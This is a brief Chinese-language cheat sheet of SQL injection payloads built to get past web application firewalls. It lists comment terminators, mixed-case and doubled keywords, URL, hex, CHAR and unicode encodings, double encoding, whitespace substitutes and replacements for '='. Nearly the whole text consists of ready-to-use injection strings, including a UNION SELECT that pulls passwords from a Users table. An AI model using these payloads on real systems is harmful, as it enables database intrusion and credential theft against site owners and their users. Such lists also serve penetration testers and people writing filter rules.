仅供参考
常用注释符
//
--%20
/**/
#
--+
-- -
%00
;
用于绕过一些对大小写敏感的黑名单匹配
?id=1 UnIon SeLeCt user()#
waf将关键字替换为空,没有递归
?id=1 uniunionon seselectlect user()#
利用urlencode,ascii(char),hex,unicode等编码绕过
or 1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。
十六进制编码
SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))
双重编码绕过
?id=1%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/1,2,password%252f%252a*/FROM%252f%252a*/Users--+
一些unicode编码举例:
单引号:'
%u0027 %u02b9 %u02bc
%u02c8 %u2032
%uff07 %c0%27
%c0%a7 %e0%80%a7
空白:
%u0020 %uff00
%c0%20 %c0%a0 %e0%80%a0
左括号(:
%u0028 %uff08
%c0%28 %c0%a8
%e0%80%a8
右括号):
%u0029 %uff09
%c0%29 %c0%a9
%e0%80%a9
用Tab代替空格
%20 %09 %0a %0b %0c %0d %a0 /**/
()绕过空格
?id=1' or 1 like 1#
可以绕过对 = > 等过滤
or '1' IN ('1234')#
可以替代=